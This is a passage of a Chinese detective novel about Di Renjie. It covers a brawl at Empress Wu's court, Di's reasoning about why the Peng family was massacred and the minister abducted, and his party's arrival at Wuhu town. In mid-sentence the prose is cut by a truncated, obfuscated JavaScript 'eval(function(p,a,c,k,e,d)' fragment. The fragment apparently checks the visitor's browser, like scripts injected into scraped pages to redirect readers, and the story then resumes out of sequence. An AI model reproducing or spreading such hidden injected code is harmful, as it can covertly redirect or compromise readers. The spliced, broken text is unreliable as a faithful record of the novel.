宇文豪脸现怒色道:“你……!强词夺理!我何尝说过我‘细致’去查了?我说过‘细致’二字了吗?我说的是‘仔细’二字!我说‘仔细’,你倒说我说‘细致’,到底是谁在胡言乱语?还有,我又何尝说过我‘亲’查了?我根本就未曾说过我亲自去查,好吗!我说我查,就是我所遣者查,你明白了吗?甄大人,你自己会错了意赖人吗?” 甄仑冷笑道:“依吾看来,宇文兄乃真强词夺理者也!譬如这‘细致’二字,乃吾引用汝荒唐谬论之时,微不足道之小小口误而已,汝又何足道哉?且‘细致’与‘仔细’二者,外则有别,而内理相同,岂非同意耶?因此,用于吾之论中驳汝显然瑕不掩瑜,汝又何必在乎甚耶?试看今人引用古人之圣言,尚略有改动,况吾引用汝之谬言乎。吾适才言及,汝与汝所遣之人,本非谬处所在,而在乎于汝未曾查之,而反言汝查也!汝虽未言汝‘亲’查,然汝言汝查。试问‘汝查’与‘汝亲查’,二者有何别可言?虽外则有别,而内理乃相同也!宇文兄实乃利用言词间之漏洞,欲欺君也!” 宇文豪强忍怒气道:“甄大人!你当着陛下的面,说这些有何意义?我查或未查,亲查或遣人查,又有何别可言?又与你何干?我究竟是道与你听的,还是与陛下听!” 甄仑骂道:“奸贼!正因如是,吾借汝言反驳汝,汝乐意乎?汝之言,若与甄某相干,又何碍于吾?然汝之言既是言之与陛下,于微臣则大有干系矣!吾既为忠于陛下之臣,亦当死谏!焉得容汝妖言惑众,欺瞒君主!汝实未曾亲查,而反言汝‘仔细一查’,出此言者,非奸臣而何?汝岂非欺君耶哉?” 宇文豪怒道:“我就算没查吧!你又待何如?” 甄仑喝骂道:“好!如此言之,非吾逼汝也,乃汝自言之!汝未查,吾不当何如!望汝言之与陛下知足矣!汝之言与吾何干?无干也!乃与陛下有干!汝既言未查,何不起始便如是言之?适才汝并不曾言,而今吾看破汝阴谋,汝无理可言方言,晚矣!汝是何意哉?汝既未曾查,汝大段言及汝查后所见之事,又是从何而来?岂非乱言一通,欺君耶哉?汝一大奸臣!何乃要编出谎言欺瞒于陛下,速速从实招来!休得欺君!” 宇文豪大怒,骂道:“他妈的!姓甄的!你欺人太甚了吧!你我走到了这个位置,谁还他妈亲自去查?你干事儿不是派部下去,还是你亲自去?我的部下查完报知与我,有何不可?有甚不同之处!我再说与陛下知,你……” 甄仑指着宇文豪乱骂:“奸贼!狗贼!误国贼!汝便是未查,与陛下认一罪又有 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宇文豪忙起身,亦打将起来,骂道:“你个狗攮的驴!恼羞成怒啦!贪了至少也有几万两吧!啊!可不比咱大理寺要少啊!” 甄仑矮小,打不过,只喝道:“汝厚颜无耻!当着天子言及秽语,不可教也!” 又被宇文豪给揪住了胡须,遂亦破口骂出了论及其母亲之语。 众臣见打了起来,不等武皇的话,都各自起身去劝,却哪里劝得住? 更有甚者,其中有几个因与另外几个有恩怨,亦打将起来。登时有一半以上的文武官员打成一团,朝堂变为战场,乱哄哄一片。 旁边不打的,多是隔岸观火,置身事外。 文臣队里有武将,武将队里有文臣,几欲到了拼命的地步。 徐杰忽喝道:“反了,反了!你们都给我住手!” 正打着的诸人一听便都停了下来,只回过头来瞅了他一眼,便又打成了一团。 武皇大笑数声,回荡金銮殿,方将大乱渐渐平息了。 各人伤痕累累,各就各位,都不跪了,只是低着头。 皆以为武皇会大怒,哪知武皇又笑了数声,道:“朕闻孔圣人曾云:‘季孙之忧,不在颛臾,而在萧墙之内。’众卿饱读诗书,可都明白意思?” 这话一出,众臣眼眶皆湿了。 武皇又道:“若无内忧,何惧外患?朕不愿多说,众卿自去思想思想。” 众臣一听,都大哭了起来。就连宇文豪、甄仑等人亦皆泪流满面,泣不成声。 徐杰遂未上交狄仁杰所留之信笺,亦不曾禀告吕队长言及其通敌谋反的话,欲先观看皇上脸色,再为行事定夺。 吏部侍郎何璧出班奏明了近来文职官员任用封赏、甄别罢黜等情,又说了朝廷须要提拔人才、任用贤能、以为国家之用的话。户部又奏明了全国上下交纳赋税的情况。 待三省六部诸官陆续奏罢,梁王武三思忽问起狄仁杰来:“狄阁老可是一年到头儿从未缺过席,就连身体抱恙亦不曾迟到。如何今日却没上朝?” 武皇道:“狄怀英老了,朕让他回家乡养老去了。” 梁王见这般,也不便再说。 武皇遂劝徐杰注意城防,又命大理寺卿宇文豪领三司限期破案,并其余诸位大臣如此那般,众臣唯谢恩领旨而已。 武皇明知,值此边陲烽烟战起之际,又逢遇朝廷命官一府惨遭杀害,正是势态人心皆不安定之时。此刻,欲稳固人心,唯有较常更存宽容忍耐之意,方能保得万事周全。因此,并不多加斥责群臣,仅附有些微劝言而已。群臣心里由是感激天恩,再无所怨,唯尽心为国出力矣。 散朝后,武皇于密室暗宣一人入来。 此人乃宰相张柬之,说道:“陛下,今日狄阁老未上朝,应是出了神都,奉旨前往边关查案去了。可奇怪的是,阁老此次临行前,竟未留下一封信笺,亦或使人带话与陛下。这么突然就走了,不像是阁老所为啊。” 武皇道:“留当是留了,话应该也是带到了,只是有人未将其禀告而已。”沉吟片刻,又道:“彭府一案,现场不见了彭尚书尸首。” 张柬之道:“哦?如此说来,彭尚书没死?或者说,是被劫走了?” 武皇瞧了他一眼,道:“是不是发生得太是时候了?” 张柬之会意,道:“陛下莫非……怀疑狄公?” 武皇半晌不语,突然大笑了起来。 张柬之遂也跟着笑。 武皇一声“柬之”方出口,张柬之便忙道:“老臣在。” 武皇道:“你与狄怀英,皆朕股肱之臣。朕向来用人不疑,疑人不用。谁真心忠于朕,朕心里有数。” 张柬之忙答应:“是。” 武皇缓缓叹道:“狄怀英此去,山遥路远,跋涉之艰辛可想而知。他虽是奉旨而去,然朕又不得不防。此等大案,非他莫属,此等作为,却又非他莫为。” 张柬之忙道:“陛下所言极是。” 武皇又看了他一眼,道:“他此行,除爱卿,唯朕知。嗯?”说着,微微一笑。 张柬之忙道:“老臣谨记。” 又过了一会儿,见武皇无话了,方慢慢退去。 武皇独自一人坐着,笑了笑,自言自语: “老狐狸……” 12. 第十二章 动机 夕阳斜照。 落日的余晖金光闪耀,一条条光线透穿密林,从一片绿影婆娑、参差错落的枝叶之间穿过,倾洒在绵延的官道之上。 清新的空气中已经能够感觉到越来越浓的秋意秋凉,在被傍晚的冷风吹拂得飒飒作响的枝叶间,偶尔会飘下几片已经泛黄的树叶,轻轻地跟着凉风在空中摇曳。 天空中布满了五颜六色的晚霞,一团团形状各异的云彩卷在了一起,有时色彩之间过渡柔和,有时却又转变突兀,但放眼望去,依然呈现出一种美感,好似浑然一体、不可分割的一幅画,如此美妙又自然。 在遥远的天空下,环绕着一大片密林的、一直向前延伸的官路大道之上,有几个小点点正在移动。 离近了看,官道上尘土飞扬,马蹄声响,几骑快马正在迅速地奔驰,上面坐着的几个人一脸汗珠子还来不及抹拭,都微微气喘,在一片斜照的金光中,望向前方。 那带头的正是狄仁杰,另外三骑则是韩忠义、胡乐、狄宁,鹃儿与狄宁同坐一骑。 五人自离洛阳以来,几乎片刻未歇。 中途鹃儿醒转,明知已与狄仁杰一行出了城。虽前途渺茫,然思及父母双亡,叔叔又将己抛弃,现亦无甚挂碍。见狄仁杰四人待己甚好,深感慰藉,又强似身处彭府那暗无天日的宅院之中,满了尔虞我诈,成日受人欺负。 狄仁杰从包裹中取出了一件带出来备用的棕褐色衣裳,给鹃儿换上了。虽说是男子之服,亦强如彭府中身穿褴褛破洞的烂布。至河边,待鹃儿洗脸绾发毕,韩忠义将己玉簪赠之,鹃儿多谢接了,插上发髻。此番再看,更显得她明眸皓齿,楚楚动人了。 狄仁杰几人不由得又为她的身世遭遇感叹了一番。 狄仁杰又问了她几个关于彭府灭门当夜的情况,她将躲在后园树丛里面隐约听到的话都说了。 狄仁杰听了,想道:“看来歹徒带走的果真是彭大人,且确乎已出了城。” 这一路之上,狄仁杰一直都在想一个问题:歹徒劫走彭大人的动机,究竟是什么? 他知道,这世上任何一个犯罪,能够在明面上呈现出来的,都已经是犯罪的结果了。然而每一个犯罪的背后,都存在着一个动机,来支撑着这个犯罪的合理性,虽然犯罪的本身就是不合理的。而犯罪如果没有动机,或者说,动机不足以支撑犯罪的“合理性”,那么这个犯罪就是纯粹的犯罪,是不值得怜悯的。 而这世上却存在着一种犯罪,它虽然触犯了世间的法律,但从犯罪者的角度看去,是存在其合理性的。至少,犯罪者能够用一套自己的理论来自圆其说,而不是纯粹地去放纵人性中的恶。 狄仁杰一路上思考的就是,彭府灭门案背后的动机。如果说,歹徒只是纯粹丧心病狂,想要把一家人灭门,乱杀一通,那么这种犯罪的动机就是人性中纯粹的“恶”,没有别的原因。这种犯罪同样可怕,甚至更可怕,就因为它没有一个更合理的动机。 如果犯罪者以犯罪作恶的本身为其动机、为其快感,那么这种人真可算得上是“纯粹”地去犯罪了。这种犯罪者的动机之所以不存在其合理性,是因为是为了犯罪而犯罪,而不是因为贫穷而犯罪,因为饥饿而犯罪,因为仇恨而犯罪,甚至因为自身的痛苦而犯罪。 狄仁杰听韩忠义说起这个神秘的江湖组织“寒刀帮”,是个杀手如云,庞大的组织。他们的动机,不甚明了,也许是为了钱财,也许是因为仇恨。但有一点可以肯定,他们此次将彭府灭门、并且劫走了彭大人的行动,肯定是有预谋。如此缜密的安排,一定不是心血来潮。虽然丧心病狂之徒,一样可以缜密地犯案,但像这次彭府之事,先是杀害了所有府中的家人,却又劫走了主人没有杀害,这种节制,比一口气都杀完还要恐怖,还要让人不由得怀疑,这场犯罪的背后,存在着更为奇特的动机。 狄仁杰有想过几种可能。第一,如今边关打仗,彭羽是兵部尚书,掌握部分兵权,可以影响战事,所以这件事跟边境的战争有关?第二,彭羽身为高官,却不为国效力,只知道阿谀奉承、吃喝玩乐,这狄仁杰也是知道的。这种人,是不是间接或直接地得罪了什么人,所以跟仇恨有关?第三,彭羽身居高位,自然是颇有些钱财,难道是为了钱而劫走他吗? 第一点还有可能,第二点就不太可能了,因为作案的是一个江湖组织“寒刀帮”,跟你一个兵部尚书能有什么深仇大恨?他彭羽又如何去得罪寒刀帮?而第三点就更不可能了,因为就算是寒刀帮是为了钱财,但跟你既然没有仇,为什么要杀你全家呢?这样大费周章又没法多拿一点钱,那何必呢?还不如直接绑架了,然后要挟家人,说不定还能多拿点呢。 这么看来,要从犯案者的角度看去,才能排除那些不可能的动机。首先,寒刀帮不可能是因为仇恨,当然也说不定,但可能性非常小,尤其是针对彭羽和他家人的仇恨。其次,纯粹为了钱财,而将彭羽灭门,可能性也不大。那么只剩下边陲战事了? 不,狄仁杰还想到了一点。关于这一点,狄仁杰虽然想到了,但也只是隐隐地有些不好的预感。似乎有一瞬间,他觉得也未必就有这种可能。但这种可能性,似乎也是最大的,最合理的。这既符合歹人的作为,又符合围绕着彭羽这个中心人物发生的一切事。这是个很可怕的猜想,狄仁杰甚至不敢再继续想下去,因为实在是太可怕了。如果这是真的,肯定有一个更大的阴谋,比彭府灭门还要恐怖,正准备要施行。这是个改变历史的大事件,一个惊天动地的行动。而这一切,狄仁杰也只是猜测,也只是从脑海中,千丝万缕的联想中,顷刻划过的各种念头而已。只是这些念头,显得那么合理,那么顺理成章,那么天衣无缝,好像理所当然就该如此。他不知道为什么,他已经渐渐明白了整件事的一部分真相,至少在这样一个开头,他无法不担忧后面将会发生什么事。所以姑且说他狄仁杰已经想明白了,但他也还是说不清,道不明,甚至想不到,自己所思所想究竟有何根据,值得他如此重视,如此思索。于是他暂时先没有再深入地想下去了,虽然他一开始也没有特别地去想,但这件事已经存在他的脑海里,无法抹去了。 现在很难确切地诉说狄仁杰的脑海中到底零零散散地闪现了些什么样的念头,但它们瞬间从狄仁杰的思路中划过的时候,狄仁杰清晰地感觉到,它们是真实的,是合理的,又是相互之间有着特殊关联的,而非独立的,个别的,没有根据的想法。它们早就存在,只是还没有到要将它们相互之间关联起来的时候。现在这个时候到来了,因为关联性已经变得顺理成章、水到渠成了,而不会像当时还没有发生一个开端的时候那样,所有的想法只是单纯的无中生有地去幻想一个还没有任何端倪的阴谋。 这个开端就是彭府灭门、彭羽被劫案,而想法是围绕着整个事件一个接着一个延伸而来的。其中有几个想法,在当时似乎是不可能的,如今却变成了还没有发生的事实。因为彭羽本人在其中有着独特的重要性,所以不但关联了边关的战事,还联系了整个京城的一个非常大的秘密。首先,这个秘密跟彭羽已经有了密不可分的关联,而且两者几乎成为了一体,不可分割。所以,彭羽差不多等于这个秘密,这个秘密也差不多就在彭羽的身上。而如果彭羽出事了,这个秘密也会跟着出事,或者说,落入了另外一个人之手,彭羽以外的人手中,成为他人拥有的秘密。那么,彭羽本身不是秘密的全部,所以他并不是最重用的,重要的乃是,他手中的这个秘密,而怀有这个秘密的彭羽恰好在拥有了这个秘密之后,被人给劫走了,这么看来,动机就是这个秘密了。 但这个秘密就是犯案者寒刀帮作案的全部原因吗?狄仁杰觉得,或许事实并没有那么简单。因为之前说过的,彭羽除了关联着这一个秘密以外,还有多种可能性围绕着他,而这个秘密只是恰巧在他身上,所以可以算是独立于彭羽本身的价值之外的一个存在。它完全可以被放置于另一个人,也就是彭羽以外的人身上,而拥有同样的价值,同样的意义。只是那时它正好就在彭羽的身上,所以它的意义似乎是彭羽赋予的。其实不然,它是可以离开彭羽,而依然保持它的价值的。所以说,彭羽似乎并不是重点。然而,寒刀帮却杀害了他的全家,这难道只是为了一个独立于他彭羽之外的秘密吗?这个秘密跟他彭羽一家人的生命互相冲突吗?如果并没有冲突,为什么要为了这个秘密,杀害他全家?还是说,杀害他全家,不单是为了这个秘密,甚至,就完全不是为了这个秘密,有这种可能吗?狄仁杰认为,完全有这种可能。因为寒刀帮也许并不知道彭羽的身上有这个秘密存在。如果他们知道,也许会是为了它。但如果他们不知道呢,又会是为了什么? 为什么狄仁杰瞬间想到的会是这个秘密呢?这究竟是个什么秘密?这算是秘密吗?还是说,这个秘密本身就没什么重要性,甚至还没有彭羽的本身重要。那么为什么要去想它呢?它有什么值得狄仁杰去想的呢?只有一点,那就是:它跟京城有关。它跟京城有什么关系呢?首先,它不出自彭羽,而是出自皇上。是皇上先交给了彭羽,彭羽才拥有了它的。而还有一点让狄仁杰觉得很奇怪的是,为什么皇上要把它交给彭羽,而不是交给另一个人,另一个照狄仁杰看来,更适合拿到它的人。这个人就是京城御林军的主帅,徐杰。 这个秘密,这个东西,更适合徐杰,应该是很明白的。但皇上偏偏将它赐给了兵部尚书,一个并不需要去在乎京城的安全问题的官员,让他来保管。这到底是为什么呢?难道说,皇上忌惮着徐杰,因为徐杰掌握着兵权,所以容易造反吗?还是说,彭羽拍马屁拍到皇上都高兴得忘乎所以了,以至于连彭羽是个愚蠢之人都忘了,心甘情愿地只想把那个东西亲手交给他,也不为别的,就因为乐意。狄仁杰想,事情应该没有那么简单。 首先,皇上是何等聪明的人,狄仁杰是清楚的。武则天极少感情用事,能够理智地看穿一个人的本质,而不被外在的表象所迷惑。那么既然如此,武则天又怎么会仅凭一时的感情冲动就决定将一个有着利害关系的物件交给一个不值得托付的人呢?她怎么会不认真去权衡利弊,就随便选择了一个或许并不合适的人呢?这并不符合武则天的性格,也不像是她一个谨慎了一辈子的人,这时候竟会突然犯的低级错误。狄仁杰知道,武则天的每个抉择、每个举动,都有它的特殊意义。他甚至猜想,武则天是不是已经提前料到了,会发生什么样的事情,演变成什么样的结果。如果真是如此,那么彭府一案,就是武则天特意安排的,至少,也是透过一系列的举动,间接地造成了这么一个结果。狄仁杰越想越怕,觉得这件看似简单的灭门案件,背后的原因比自己想象的还要复杂得多。 这个狄仁杰猜想到的秘密,也就是武则天交给了彭羽的秘密,是一张图。 一张洛阳城内的“暗门密道图”。 至于那张图的内容,连狄仁杰也没有见过。只有皇上见过,之后交给了彭羽,那自然彭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“古人都说了,”胡乐笑道,“吃饭的人是俊杰,俊杰你知道吗!俊杰是什么呀?英雄!英雄豪杰!吃饭的人是英雄豪杰!” “你就扯吧!”韩忠义大笑道,“吃,吃,吃!” “我就吃,吃,吃!怎么样!”胡乐大笑着叫道。 鹃儿听韩忠义、胡乐二人说笑,自己也忍不住笑了,又有些不好意思,便歉然道:“对不住啊,都怪我,我也吃了些干粮。” 韩忠义道:“鹃儿姑娘,你别多心。本来就没带多少出来,岂是因多你一人之故。” “是啊,”狄仁杰道,“那天夜里出城,是仓促了些,未曾预备妥当。不过你们看……”指了指地图上的一处,“离我们这里不远处,便有一个市镇了。这地图好些年了,比较旧,然变化也不应甚多。按这图上所示,这个‘怡明县’,距此也不到十几里路。我们不如再坚持一下,赶天黑以前到达,那里自不会少了酒家饭馆。” 胡乐一听“酒家饭馆”,立时精神抖擞,笑着大叫道:“好!咱这就赶路去!” 另外几人也都笑了起来。 于是各自上马,朝怡明县方向策马驰去。 “大人,”韩忠义半路问道,“你肯定歹徒行的是这条道吗?” “我也不能确定。”狄仁杰皱眉道,“主要是胡乐当夜所见的那一辆马车,如何竟会凭空消失呢?出城那夜,道路处处皆被雨水淋湿,地上的痕迹应是很明显的才是。然两条官路俱是马蹄印,并无车轮行过的迹象。” “也许那马车本身便是一个障眼法呢?” 狄仁杰半晌道:“也有可能是胡乐看错了,毕竟当夜如此漆黑……” “绝对没错儿啊老爷!”胡乐忙道,“那马车我看不见也听得见啊,车轮儿滚来滚去的声儿,弄不错儿的。” “至于为何选择走这条小道,”狄仁杰解释道,“主要是我看出了那些歹徒摆的迷魂阵。忠义啊,你当时问我,另外一条大道明明马蹄印多,应该是真正的路线才是。其实不然,因为当夜朝出城方向行的,除了歹徒,不可能有他人。因此马蹄印少的小道,同样是歹徒所行的。歹徒既是为了要带彭大人出城,那要紧的便不在人数或多或少,而是在于掩护那携着彭大人的同伙撤离。那小道的唯一马蹄印,说明只有一名歹徒行过,又如何掩护得了另外一道的许多人?这岂非欲盖弥彰?说到底,他们分两条路行,实则是为了要迷惑我们去追那人多的大道,按常规想来却是最合理的选择。可是他们这么做,反而显出了他们的真实意图,只是为了要带走彭大人一人而已,所以亦不在人多,我猜测八成行的便是小道。这两条截然不同的官道,通向之处固然亦大不相同,却终必有其相交之点。因此,即使我们暂时行错了,日后也并非寻不到另外一种在如今看来微乎其微的可能性。” 韩忠义点头道:“卑职明白了。” 鹃儿道:“狄老爷,我怎么就听不明白?” 胡乐笑道:“嘿,你才跟了咱老爷多久,听不明白再正常不过了!你要是能听明白啊,那才奇怪了。咱老爷的思路,除非像我跟了这么久,一般人都很难明白。” 韩忠义道:“那你都明白什么了?” 胡乐道:“我也没明白。” 13. 第十三章 情愫 一行人赶天黑以前来到了前方一座市镇。 天色渐暗,天空是火红的,飘着晚霞。 狄仁杰、韩忠义、胡乐、狄宁、鹃儿五人下马步行,牵着马,走在大街上。这时候已经很晚了,大街上行人不多,只有一些行路的外地人,或是做买卖的,或是来游玩的,在街上或急或缓,或行或止,零零散散,安安静静,各走各的路。街旁好多处店铺都已经打了烊,客栈和许多饭馆却还在营业。 这个市镇并不小,从进了市镇到现在走了一段路,还是没有觉得远处的风景靠近了多少。大街小巷有许多,狄仁杰一行现在正走的是最宽最大、直通远方的、用青石板铺就的大道。四围都是青山,环绕在几条街外。其实那山看似离得近,却离市镇中的建筑还是有一段距离的。现在天色暗了,看不清楚景象了,但能感觉得到,整个市镇还挺大的,而且白天风景肯定不错。 狄仁杰这时在路上随便找了一个挑担的行人,问他这是什么地方。 那人道:“这儿便是五湖镇了。” 狄仁杰“哦”了一声,道:“只是我看地图,并没有什么‘五湖镇’,只有个‘怡明县’,不知是什么缘故,还望说知。” 那人笑道:“老先生,你是不常出来行路的吧?五湖镇就是怡明县,怡明县也就是五湖镇啦。地名儿常改,没甚奇怪的,天下哪儿有个不变的理儿呢。地图毕竟是死的,有时候不准。” 狄仁杰轻轻一笑,点头道:“极是。” 那人又道:“这儿四周都围着山,山外又傍着湖水。既然四处都是湖,这镇子又在正中央,也就算它个第五湖啦,所以叫作‘五湖镇’。” 狄仁杰道:“这么说,这里许多人是从湖的对岸来的?” 那人道:“是啊,来这儿的多是乘舟,从京城来的人倒真不多呢,因为要绕小道走。你说,谁放着大路不走走小道呢?那不是多此一举嘛。” 只闻四周皆是传饭菜的声响:“来喽!客官你要的热馄饨!”“葱油饼来啦!”“你的下酒菜!”“肉拌饭!”“饺子!”“牛肉面!”“蒸包子!”街上弥漫着饭菜香。胡乐早嗅到了,闻见了,口角流涎,不耐烦地说了声:“咱多此一举关你屁事儿。”韩忠义忙断喝。 那行人正与狄仁杰说着话,倒没注意到后面几个。这才发现,见他们一个是粗鲁的肥矬子,一个是霸道的大高个儿,一个在后边儿像死人,还有一个娇滴滴的小姑娘。 面前这老的虽然还算客气,后面这几个却都不像正常人,于是被吓了一跳,心脏顿时有些不舒服了起来,不敢再多待,连忙挑着担就要走,听狄仁杰又问他“这儿的镇长县官是什么人”。他连忙摇手说“俺不晓得”,又准备要做,被韩忠义突然挡在面前,比自己高了整整一个头,唬得连动都不敢动了。 狄仁杰道:“无妨,我们慢慢再打听不迟。”一面谢了那人,掏出了些碎银子给他。 那人一接了银子,登时不想再走了,变得比刚才更热情了,向狄仁杰笑道:“方才你问这儿的镇长啊,其实我是的确不知。本来好像是有的,听说辞去不做了。至于县官是没的,这儿离京城虽倒也近,官府却不管。镇里人都生活得好好的,和平相处,从不争斗,更不会去杀人造反,都是良善的老百姓,所以从不用人来管。”低头看着手中那碎银子又笑了笑方去。 天黑了,五人来到一家街边的饭馆里,各自要了碗牛肉面吃。胡乐狼吞虎咽,顷刻间便将一碗面一扫而空。鹃儿见了,抿着嘴笑。胡乐还将四人吃剩下的也都吃光了。 一时食毕,付了账,五人找了一间小客栈歇下了。一宿无话。 次日天明,晴空万里。 狄仁杰几人来到街上闲逛,见人来人往,比昨晚空荡荡的街道热闹多了,竟然有一种堪比京城的繁华气象。那路旁有杂耍摆摊的,有卖果卖菜的,有卖吃卖喝的,真是各行各业者皆有。当然,还有卖缎子丝绸等衣料的,早把鹃儿看呆了。 她望着那些花花绿绿的衣裳出神,觉得它们都好漂亮啊,好像春天开的花朵一般鲜艳又美丽。 她喜欢春天,因为经过了漫长的寒冬,花儿在春风里又会盛开,向着阳光绽放。 她喜欢美的东西,向往着美,渴望着美,但生命中的美是那么地稀有,那么地难得,让她觉得美是何等地遥不可及,甚至有时候,觉得这世上只剩下丑恶,而美好已经不存在了。 但当她走出了阴影,在温暖的阳光下,此时此刻,看着远方蓝天白云、绿树青山,感受着微风拂面、鸟语啾唧,大自然的美丽又给她带来了希望。 她真想时间永远定格在这一刻,不需要更多什么别的了,只要这样子简简单单的就够了。这对于她,就是生命中最幸福的时刻了。 狄仁杰见鹃儿呆呆地看着那路边卖的衣裳,心里有些过意不去,便跟她说:“鹃儿,此次出行,为了不招摇,只得暂且委屈你了。日后,我会与你一件好衣裳的。” 鹃儿微笑道:“狄老爷,我明白。” 当鹃儿呆望着衣裳的时候,胡乐正在旁边呆望着她。 不知道从什么时候开始,胡乐对鹃儿产生了一种非常特别的感情。虽然一路之上,胡乐都叫鹃儿“鹃妹妹”,鹃儿又叫胡乐“乐哥哥”,但……胡乐的这种情感,不是简简单单的兄妹情,何况两个人只是互相尊重才这么叫,还并非真正的兄妹呢。那么,这是一种友情么?胡乐自己也清楚,这么说是荒唐的。这哪里会是友情呢?当他看着鹃儿那清纯又稚嫩的小脸时,那双水灵灵的大眼睛,那个单纯又可爱的神态,他…… 他不知道怎么形容那种感觉,但他感觉到,生命在一瞬间有了意义。这种意义比任何意义都要真实,也都要抽象。他似乎完全明白,又似乎什么都不懂。他到底在经历什么?他为什么想哭?他看到了什么?一个人而已,还有她的一张脸。但他好像,看到的是自己活了二十多年的价值。虽然不是全部,但差不多了。他没法形容那种感觉,因为那甚至不是一种感觉,而是一个……悬空的状态。 他胡乐,已经感受到了另一个世界的存在,一个既抽象又现实的世界。这另一个世界的全部,就是她鹃儿一个人。一个渺小的人,成了那么巨大的存在。胡乐不敢相信,面前这个人,让自己顷刻间看到了整个宇宙中最大的奥秘。 他不知道是什么时候开始的,并且这种感情越来越深,深到他自己都不肯相信,自己居然已经爱上了她。爱上了一个人而已嘛,为什么那么深刻?自己从前没见过人吗?没见过女人吗?她是谁?为什么自己一见到了她,就好像找到了人生的归宿,人生的意义,人生的价值! 胡乐对她的爱很奇妙,因为他根本就不想得到她。或者说,是否能得到她并不重要。重要的是,她要快乐,她要好好地活着,要过得好。他不能再看见她伤心难过,否则他会比她更痛苦。他只希望她过得好,并不想将她占为己有。因为他也知道,自己永远也配不上她。她是自己只能站在远远的地方,偷偷地去欣赏的人。他知道自己不配,他甚至觉得自己连看着她的资格都没有。他凭什么能用一双眼睛去看她?凭什么?难道就凭自己情不自禁,已经爱上了她吗?自己哪里配去爱她! 胡乐不知道为什么,他虽然模模糊糊地明白,自己是爱上了她,但他还是不太明白,究竟是为什么,究竟为什么,为什么会爱上她,为什么爱上的偏偏会是她。为什么爱上一个人,这么痛苦,却又这么幸福?他想哭。是为什么想哭呢?他自己也不知道。 他只想默默地守护着她,保护她不要受到伤害,自己也就心满意足了。他不希望,他真的不希望,不希望她知道,他爱她。他不想给她压力,让她觉得,要去报答自己。因为他不是为了回报,不是为了让她也爱上自己。她是独立的,她不应该为了自己而生活。但自己要是没了她,就真的没法活了。他需要她,她的存在本身,就是在维持自己的存在。自己存在的目的,就是因为她的存在。如果有一天,她不再存在,那么自己的存在,也就不会长久了。 “老爷,”胡乐看着狄仁杰道,“给我点儿银子呗。” 韩忠义道:“你要银子做什么?” 胡乐道:“鹃妹妹想要缎子,咱买呗。” 韩忠义道:“欸,你没明白大人的话呀?大人不是买不起,是现在买了也穿不得。难道以后大人还会食言不成?” 胡乐道:“也是啊,可是鹃妹妹想要,咱还是买呗。” 韩忠义道:“要缎子还是要吃饭?” 胡乐道:“要吃饭。” 韩忠义道:“买了缎子,你就饿去吧。这番不但干粮不多,银子也不多了。” 胡乐笑道:“欸,那咱一会儿吃顿儿好的呗。” 韩忠义冷笑道:“一会儿吃顿儿好,下顿儿去乞讨?” 狄仁杰呵呵笑道:“好,好。一会儿我们就去吃一顿好的吧。走,我们先去逛逛。” 这时望去,镇子里的风景果然不错。只见四面八方都是高耸入云的峰峦叠嶂,一排排青山连绵有数十里之遥,一直延伸到远 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胡乐则是一口接着一口未曾停过,把饺子在酱油、醋、辣子、蒜泥等各料里均蘸一番,几个连着入口,紧接着拿起小碟子把小菜往嘴里直接倒,又咕噜咕噜猛地喝几口汤,再来一口甜饼。 鹃儿见了,忍不住笑出了声。 胡乐“嗯”的一声抬起头,道:“你们咋不吃啊?看我干啥?” 韩忠义看得恶心,道:“喂喂喂,你吃东西能不能慢点儿啊?谁跟你抢来着?你是饿死鬼托生吧?” 胡乐一面咀嚼,一面道:“前世是饿死鬼,今世做他个饱死鬼。” 韩忠义道:“这甜的跟咸的怎么能一块儿吃呢,难受不?” 胡乐笑道:“韩护卫,你这是啥话儿啊,吃个饭哪儿有那么多穷规矩。咸中带甜,甜中又有咸,实在是‘妙不可言’,哈哈!”一面说着,嘴却没有停过。 韩忠义一听这话,脸上登时现出怒色,放下箸,看着他道:“你叫我什么?又是‘护卫’?” 胡乐一见他变了脸色,忙陪笑道:“韩‘将军’,你满意了吗?” 韩忠义冷笑道:“怪勉强嘛。” 胡乐也放下筷子,道:“嘿,你故意欺负我是吧?当初有将军给你当,你拒绝了。如今明明就不是将军了,还非充什么‘将军’的名号,什么意思!而且别人叫你韩护卫都行,偏偏我就不行!” 韩忠义不语。 鹃儿劝道:“乐哥哥,你不要生气。韩大哥他……” 韩忠义道:“唉,也没什么,是我钻牛角尖了。确实啊,我既都跟了大人,平生便已无憾,又何必去图这虚名呢?” 狄仁杰知道,韩忠义因辞去将军之职,跟随自己,被人嘲讽,说他这么做是因为暗中受了自己的贿赂。因此韩忠义图这‘将军’的虚名,实则是他不愿人们误会自己。 韩忠义眼眶湿了,望着狄仁杰哽咽道:“大人……我……” 狄仁杰微笑道:“我都明白。既然是虚名,那便是虚的,又何必在乎呢?” 胡乐道:“韩将军……” 韩忠义忙转悲为喜道:“罢了,你还是叫我‘韩护卫’吧。明明不是将军了,还这么叫,着实令人不快!” 五人都笑了起来。 不料这一番话,竟被同在二楼吃饭的一人听见了。 他悄悄回过头来,偷眼一看,心道:“还真是狄仁杰、韩忠义他们,他们果然追到了五湖镇。”遂趁几人不注意,离开了饭馆。 就在那一瞬间,韩忠义忽然瞅到了一眼他的背影,只觉得颇为眼熟,却也并未在意。 胡乐正吃得忘乎所以,也不曾放低声量便道:“老爷,你肯定劫走了彭大人的歹徒逃到了这儿?” 韩忠义忙踹了他一脚,胡乐痛得大叫“哎哟!你干吗呀?!” 韩忠义悄骂道:“闭上你的猪嘴!你是不是想让所有人都听见啊?现在说这些做什么?” 狄仁杰道:“是啊,我们还是要小心为妙,不可不警惕啊。歹徒处处都有眼线,一旦使他们得知了我们的行踪,我们今后便愈加被动了。” 胡乐忙捂住了口点头。 五人饭毕,结了帐,一出饭店,便听得行人嚷道:“都快来看哪!醉酿阁里有人要比武啊!” 狄仁杰几人一听,也都跟了前去。 14. 第十四章 比武 来至一座宏伟的大楼前,只见从里到外黑压压一片人群,摩肩接踵,闹声鼎沸,少说也有上千人,都挤在一起,要往楼里去。 狄仁杰几人见了这场景,吓得目瞪口呆,都打算马上离开,无奈前来者愈来愈多,将五人挤得都动不得了。半日方挤到了大门口,却被卡在了人群当中,如今是进也进不去,出又出不来。 